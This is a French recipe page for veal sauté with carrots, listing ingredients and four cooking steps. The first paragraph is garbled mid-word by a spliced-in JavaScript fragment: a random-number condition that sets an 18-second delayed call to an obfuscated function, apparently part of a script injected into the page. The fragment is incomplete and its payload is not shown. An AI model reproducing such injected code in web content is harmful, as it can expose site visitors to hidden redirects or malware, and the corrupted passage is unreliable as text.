Sauté de veau aux carottes
2017-12-21Pelez, rincez et coupez en rondelles fines les carottes. Dans une cocotte avec de l’huile d’arachide, faites revenir la viandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande sur feu vif, salez et poivrez.
Ingrédients
- Pour 6 personnes
- 800 g de veau à braisé
- 500 g de petites carottes
- 200 g d'oignons blancs hachés
- 1 bouquet garni
- 1 bouquet de persil plat haché
- 2 gousses d'ail écrasées
- 4 cuillères à soupe d'huile d'arachide
- 6 cuillères à soupe de crème fleurette
- 2 verres de bouillon de légumes où 1/2 cube de volaille dissous dans 2 verres d'eau bouillante
- Sel / Poivre
Préparation de la recette
Etape 1
Pelez, rincez et coupez en rondelles fines les carottes. Dans une cocotte avec de l'huile d'arachide, faites revenir la viande sur feu vif, salez et poivrez.
Etape 2
Quand les morceaux de veau sont bien dorés, incorporez les oignons que vous faites dorés. Mouillez avec le bouillon de volaille, portez à ébullition, ajoutez les carottes, le persil, l'ail écrasée, le bouquet garni, faites cuire à couvert sur feu doux pendant 1 heure
Etape 3
Retirez la viande et le légume que vous déposez dans un plat à gratin. Ajoutez tout en remuant la crème fraîche dans la cocotte, faites chauffer pendant quelques secondes.
Etape 4
Nappez la viande de sauce et servez chaud.
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